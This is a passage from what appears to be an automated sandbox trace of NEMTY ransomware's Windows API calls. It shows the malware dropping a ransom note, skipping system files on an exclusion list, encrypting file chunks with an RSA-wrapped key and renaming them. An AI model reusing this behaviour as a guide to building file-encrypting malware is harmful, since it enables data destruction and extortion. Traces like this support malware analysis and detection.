lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400d0 [0109.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340178 [0109.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0109.152] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0109.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340178 | out: hHeap=0x4f90000) returned 1 [0109.153] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.153] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0109.153] CloseHandle (hObject=0x1e8) returned 1 [0109.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0109.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0109.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0109.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf4b25830, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4b25830, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0109.154] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0109.154] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf4b25830, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf4b25830, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0109.154] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0109.154] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0109.154] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x27ed4187, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="drag.png", cAlternateFileName="")) returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2=".") returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="..") returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="...") returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="windows") returned -1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="$RECYCLE.BIN") returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="rsa") returned -1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="NTDETECT.COM") returned -1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="ntldr") returned -1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="MSDOS.SYS") returned -1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="IO.SYS") returned -1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="boot.ini") returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="AUTOEXEC.BAT") returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="ntuser.dat") returned -1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="desktop.ini") returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="CONFIG.SYS") returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="RECYCLER") returned -1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="BOOTSECT.BAK") returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="bootmgr") returned 1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="programdata") returned -1 [0109.154] lstrcmpiW (lpString1="drag.png", lpString2="appdata") returned 1 [0109.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0109.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0109.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0109.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0109.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0109.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0109.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0109.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="drag.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drag.png", lpUsedDefaultChar=0x0) returned 8 [0109.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0109.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0109.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0109.155] Sleep (dwMilliseconds=0x5) [0109.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf4b71af0, dwHighDateTime=0x1d561e7)) [0109.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf4b71af0, dwHighDateTime=0x1d561e7)) [0109.167] GetLastError () returned 0xb7 [0109.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0109.167] GetLastError () returned 0xb7 [0109.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0109.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0109.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.167] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0109.167] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0109.167] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0109.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0109.167] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="P75BgUg2On/OyY4HuOaGaGToh4mzou/Y4m4RmWRO7BwsR+60s6svpa6nMUaSnfHa\r\nmOdE4sN891DaWP5NFBN2sze/2j/V/lbMTYBFVKjU0C8tAGWXGpYCHvv6O25DnCdi\r\nA/szRoAohH5LPi14T+NL3SCPrMOBNEYDwXWpjOjitGbM7tXLQWJlrkp4chmMlaiF\r\nXeGsFCsmNlIdnSz7SGmF595tNY/224ouXhbN7OcJ2RDP4jFJI4bBdN72AvSI6hHU\r\n96GjNOUx0BQtRn0Hovv0VIB92X9Yq89Tcc95H5sPfRgKvYW1bEz4InyBgGNv909C\r\nlrcB3G3OhMt3CPrW/lc9Sg==\r\n", pcchString=0x653ec5c) returned 1 [0109.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0109.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0109.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0109.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0109.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0109.167] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.168] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0109.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0109.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.177] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.177] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.187] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.187] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.196] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.205] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.205] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.215] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.215] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.215] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.224] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.224] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.224] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.234] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.234] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.243] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.253] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.253] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0109.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0109.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0109.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0109.277] CloseHandle (hObject=0xffffffff) returned 0 [0109.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0109.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0109.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0109.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0109.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0109.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0109.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0109.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0109.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0109.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0109.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\drag.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\drag.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\drag.png._nemty_kgobjgd_")) returned 0 [0109.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0109.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0109.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0109.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0109.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0109.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0109.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0109.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0109.278] FindNextFileW (in: 